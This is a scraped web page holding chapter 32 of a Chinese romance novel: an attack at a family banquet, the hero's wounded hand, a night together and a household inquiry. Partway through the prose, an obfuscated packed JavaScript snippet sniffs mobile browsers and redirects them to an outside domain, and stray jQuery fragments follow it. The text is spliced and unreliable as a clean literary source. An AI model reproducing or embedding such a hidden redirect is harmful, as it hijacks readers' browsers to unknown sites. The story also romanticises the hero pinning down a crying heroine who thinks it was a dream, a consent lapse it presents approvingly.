32. 第三十二章
作品:《也没说他会假戏真做啊》 “嘀嗒——”
刀刃滴下一滴鲜血,跟着一滴又一滴,珠串断线一般,鲜红顷刻间滴淌了满地。
沈微控制住疯女人,在她颈后灵巧一击,疯女人便没了动静。
许繁音被吓得不轻,脱离危险后靠着墙壁软软滑瘫在地,唇无血色,手里还紧紧攥着不知从哪里摸到的烛台。
“阿音……”
沈微蹲下身子轻轻唤她,伸手想扶她起来,鲜血四溢下他又收了回去,只是一遍遍温声轻唤她的小名。
许繁音渐渐回过神来,看清他冷清清的眉目,眨了眨眼,眼眶一瞬间充满了泪水。她丢掉烛台,抖着身子扑进沈微怀里。
“沈微……呜呜呜你怎么才来,我差点就死了……”她哭得上气不接下气,抱他抱得很紧。
沈微回抱她,用没有染血的左手轻拍她的背:“别怕,没事了。”
正堂此时发现了厢房的不对劲,派人过来一看,两个婢女一左一右倒在地上,里面二少夫人哭得可怜,立即派人请大夫、并将疯女人拖了出去。
大长公主闻讯险些一口气上不来,急忙赶来厢房,推门瞧见屏风后一幕,一颗心落到了肚子里,思忖片刻,带着女眷们退了出去,嘱咐把门关好。
崔嬷嬷上前低声道:“行凶的是三老爷院里的陶姨娘。”
大长公主闻言瞥过三夫人,她立即惶恐道“不知情。”
“母亲,”眼下人多嘴杂,二姑姑扶着大长公主止住她的怒意,“二郎还受着伤。”
大长公主脸色极不好,却又有几分欣悦:“太医很快便到,流点血要不了人命,二郎媳妇定然受惊不轻,怎么忍心这时候将二人拆开呢。两个丫头和陶氏醒了,一并带过来,我亲自审。”
周氏脸色煞白,小年家宴从头到脚都是由她操办,眼下出了这么大的事,她要如何交代?
-
厢房。
温暖的体温与紧紧包裹住自己的怀抱给予了许繁音安全感,渐渐地,她不哭了,只是因方才哭得太狠,还一抽一抽的。
血腥气飘进鼻腔,她从他怀中抬头,鼻尖红红的:“公子受伤了?”
沈微将手藏于背后,嗓音平和:“无妨,不要紧的。”
“怎么能不要紧呢!地上流了这么多血。”许繁音冷静下来,回想起那匕首寒光仍觉得背后发凉,如若不是沈微,她死定了!
而他空手挡住了要她命的那一下。
许繁音一下子慌了,急急忙忙去查看沈微伤势,动作间她那本就胡乱系上的衣结终于不堪重负,窸窣脱落,中衣也软软散向两边。
烛光昏昧,烟绯色小衣毫无征兆展露在男人面前。
那上头的鱼与莲叶似活的般,还晃了一晃。
他目光一怔。
许繁音“啊”了一声,红着脸慌乱拉起中衣遮挡。
几乎同时,两人转身背对对方。
静悄悄的屏风后,只能听到一片此起彼伏的呼吸声。
片刻后,沈微先开了口:“你……衣服在何处?我去取过来。”
“在屏风外的衣桁上。”
沈微侧眸看见外面衣服,旋即侧身出去给她递了进来。
许繁音也不多矫情,两下穿好便急忙跑出去找大夫。
太医早在门口候着,许繁音遂让步让太医进来。
沈微坐在床边,摊开鲜血淋漓的手,见许繁音跟在太医后面,怕她见血,道:“夫人去祖母那里歇息片刻,我处理好伤口便过来。”
许繁音却摇摇头,到他身边坐下:“我陪着你。”
头一次给小沈大人处理伤口,太医也很是紧张,小心擦去伤口上的血痂,翻飞的皮肉逐渐显现,大大小小共计十一道伤痕,掌心一处更是深可见骨。
许繁音蹙眉紧紧握住沈微左手,蜿蜒狰狞的血肉刺红了她的眼眶。
“这三处伤口过深,只是上药恐怕不易愈合,需得缝合。”太医道,“小人会先敷一层止痛药,还请小沈大人暂且忍痛。”
沈微点点头:“缝吧。”
太医手法很快,不过一刻钟,便将伤口缝好包扎,开了服用的药方,走前嘱咐不要碰水吹风。沈微额头渗出一层薄汗,许繁音拿帕子替他擦去。
她眼眶绯红,为了忍着不掉泪,一直咬着嘴唇。
“小伤而已,许小姐不要哭了。”沈微话是这样说,失了血还是让他本就苍白的面色更不佳。
一颗泪珠骨碌碌滚落她腮边,他想了想,还是伸手替她擦去。
指尖不慎触到她的唇,他一顿,微微偏过眸。
那唇有多甜,他吻过。
昨夜一场误会,却一发而不可收拾。他没碰过女子的唇,竟是那样软甜,她蜻蜓点水勾了他便要放手。
是他着魔般将她抵在榻上。
直将她弄得哭了,才意识到自己做下何等不堪之事。
她大约还以为是梦。
敲门声打断思绪与眼泪,外头朝安道:“夜已深,大长公主让公子与少夫人在宅里歇一夜,明日再回菽园。”
“素容怎么样了?秀兰那会儿进来帮忙也受了伤。”许繁音问道。
“回少夫人,素容被石头砸了头,经过太医医治已经没有大碍,只是人还昏迷着不好挪动,崔嬷嬷安排她在婢女院里休养。至于秀兰,磕伤不严重,方才醒来在大长公主跟前回完话便随大小姐走了。”
许繁音哀哀叹气,还是很后怕。
“许小姐想待在这里吗?”
许繁音环视一圈,遇刺画面立即浮上脑海,头摇得像拨浪鼓。
“那我们走吧。”沈微起身向她伸手。
许繁音有些犹豫:“太医让公子好好歇息,不要走动。”沈微的手很重要,要握笔,要处理公务,活动过多只怕伤口长不好。
“路没有很远,半刻钟便到。”沈微温言宽慰。许繁音想了想,握住了他的手。
不要下人跟着,她提着灯,他牵着她,在冬夜中踱过长廊,穿过一片荒芜园子,走进一座梅香四溢的幽静小院。
院子便叫梅园。
“是我幼时住的院子,”沈微解释道,提醒她小心脚下,“幼时有很长一段时间,母亲陪着我住在这里。”
这是沈微第一次在许繁音面前提起先夫人,但也仅此一句,她敏觉地听出其中寂寥,没有多言。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054144|178848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
梅园干净整洁,即便沈微已经搬出府多年,大长公主仍旧日日安排了人来打扫。推门进去,许繁音闻见一股淡淡的冷香,同沈微身上一样。
他取下灯罩点烛,朦胧光线映亮床榻。他微笑了笑:“床有点小,许小姐将就一下。”
许繁音脱下外衣躺进被窝,怕碰到沈微的伤,一直贴在床里侧。黑漆漆的窗外静谧,偶尔有风刮过带起淡淡的梅香溜进门缝来。许繁音睡不着,一闭上眼身子就控制不住地发抖。
她倏忽侧身朝向沈微:“公子……我能不能,抱着你睡。”
她明白这要求冒犯又无礼,可她需要一点温暖、人与人直接接触带来的安全感。
枕边那头没有回应,大约是睡着了。许繁音在黑暗中看了一会儿,准备翻身回去。
他却淡淡“嗯”了声,轻到许繁音以为自己幻听了,他又将身子往她身边挪了挪,并将没有受伤的左手摊开。
她撇下被子,撩起他被角一隙,轻轻躺了进去,枕在他臂弯,贴着他的胸口,双手环住他的腰。
黑暗里,两个人都没有说话,只是紧紧地、互相依偎。
-
翌日清晨,慈安堂。
“陶氏自从滑胎后便变得疯疯癫癫,我早就劝老爷把她送到庄子去,老爷心疼她不肯,还放到侧院里供着。这么多年陶氏只要发病便胡乱打人,我没有办法只好把她锁到屋子里,时间一长锁生了锈,昨夜我们又都不在院里,陶氏不知道哪里来的力气砸开锁躲过下人跑到母亲这里来行凶。儿媳知道自己行事有误,但绝对没有害二郎媳妇的心思,儿媳可以对天发誓!”
三夫人魏氏坐在西侧榆木椅上,哭得比谁都伤心。
大长公主冷颜:“上菜的丫头认了,是你示意她将菜汁泼到阿音身上去。”
魏氏急忙辩解:“此事是我授意。饭桌上大家都围着二郎媳妇转,我看不惯她那副得了便宜还卖乖的样子,只是想弄脏她的衣服让她提前离席,但是我没想到她会碰上陶氏。”
说着,她干脆跪倒在地:“母亲,我对天发誓,如若我故意放走魏氏行刺二郎媳妇,就,就教我天打雷劈,煊哥儿日日生病,三郎终身不得回京!”
大长公主未应,三夫人虽然素来小心眼儿爱给人使绊子,却不是坏心肠到要人命,陶氏滑胎一事她清楚,三夫人也是无辜背了名声,以往最在意儿子孙子的人,发这样的毒誓,当真是被逼急了。
但她也并非清清白白,没有被弄脏衣服,二郎媳妇又怎会出门。大长公主道:“老三呢?”
魏氏由婢女扶着起身:“昨日吃多了酒,到现下还醉着。”
“糊涂东西!”大长公主重重拍桌,“崔嬷嬷,去,把老三叫起来,让他来给我说说,怎么处置魏氏,怎么和二郎夫妇交代!”
魏氏讶异:“哪有长辈给小辈赔罪之理?”
“如何不可?若不是二郎去的及时,阿音险些没命,赔罪都只是轻的。”说到此处,大长公主干脆道:“你与老三自己斟酌,罢了去一趟菽园,总不能让二郎夫妇受下这哑巴委屈。”
魏氏面露不愿,三老爷此时姗姗来迟,自知理亏,打帘子外便臊脸应下了。

